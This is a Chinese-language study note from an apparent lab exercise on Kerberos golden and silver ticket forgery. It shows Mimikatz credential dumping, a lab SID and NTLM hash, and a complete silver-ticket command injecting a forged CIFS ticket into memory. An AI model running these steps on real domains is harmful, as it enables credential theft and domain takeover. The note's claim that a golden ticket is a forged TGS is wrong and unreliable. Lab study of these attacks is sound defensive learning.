目录
之前在学习kerberos协议的时候,初步了解了什么是黄金票据,什么是白银票据。当Client想要访问Server上某个服务时(1)需要向AS证明自己的身份,通过验证后AS会发放一个TGT(票据授予票据)(2)随后Client会像TGS证明自己的身份,通过验证后TGS会发放一个ST(服务授予票据)(3)最后Client向Server发起认证请求。
而其中,黄金票据就是伪造的TGS, 白银票据就是伪造的ST。但要注意的是,这二者并不和kerberos过程本身有关,而是通过窃取哈希之后离线生成的。
在学习红日靶场(一)的过程中,我初步接触到了伪造黄金票据攻击,实现的结果为:对全域的控制。如果要举个例子来理解二者的区别的话,deepseek是这样回答的:
(1)白银票据打头阵:当我们成功拿下了一台普通员工的电脑后,得到了“文件服务器锁芯”(文件服务账户的哈希),从而可以用白银票据直接访问文件服务器,甚至在里面找到域控服务器的备份文件。
(2)黄金票据收尾:从备份文件中偷到“公司印章”(krbtgt哈希)伪造黄金票据,就可以伪装成老板,直接登录域控服务器,控制整个公司网络。
黄金票据的作用:
1.全域控制:攻击者能够以任意用户身份访问域内所有资源。
2.权限维持:在已获得域控权限(比如之前我们通过Mimikatz提取krbtgt的NTLM哈希)后,可以生成黄金票据长期驻留。
3.横向移动:无需密码即可创建新用户或访问任意服务。
白银票据的作用:
1.定向攻击:伪造特定服务的ST,直接访问目标服务。2.隐蔽性强:无需与域控通信(票据本地生成),更难被流量监控发现。
从上面能了解到:伪造黄金、白银票据主要是在域渗透的:权限维持、横向移动过程中发挥作用的,现在我们来实操更深刻地了解一下。
以下的学习过程参考的是这位师傅的文章
域渗透之黄金票据与白银票据 - FreeBuf网络安全行业门户
1.在cs下伪造黄金票据
之前已经通过CobaltStrike抓取到了krbtgt的hash值:
利用这个就可以伪造黄金票据
还需要获得Domain SID ,在beacon中输入
beacon > shell whoami /user
去掉最后的500(500表示为Administrator)
然后点击build,就可以看到admin用户成功创建好了。
使用Mimikatz进行抓取,看看是否真的存在该用户
sekurlsa::logonPasswords
2.使用Mimikatz伪造白银票据
首先我们还是先获得Server 服务账户的哈希值
sekurlsa::logonPasswords
收集以下信息:
SID:S-1-5-21-2952760202-1353902439-2381784089Username:Administrator
NTLM:152df0bd8dc97d27d9b8b934bc30b56d
然后就可以伪造白银票据了
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:administrator.god.org /rc4:152df0bd8dc97d27d9b8b934bc30b56d /service:cifs /user:hacker /ptt
格式:
kerberos::golden /domain:域名 /sid:域id /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:伪造的用户名 /ptt(把票据导入内存)
其中 cifs服务 是SMB协议的一个增强版本,主要用于在计算机网络中实现:文件共享和远程服务访问等。可用于实现横向渗透
此时白银票据已经成功生成并且注入到了内存中,此时我们可以访问域控的共享目录
到这里,黄金票据和白银票据的伪造就有个初步的认识了。之后在遇到问题的时候也不会懵懵的了,但还是要多打靶场,熟悉黄金票据和白银票据在域渗透中哪些个阶段有用,嗯,最终要的还是熟悉。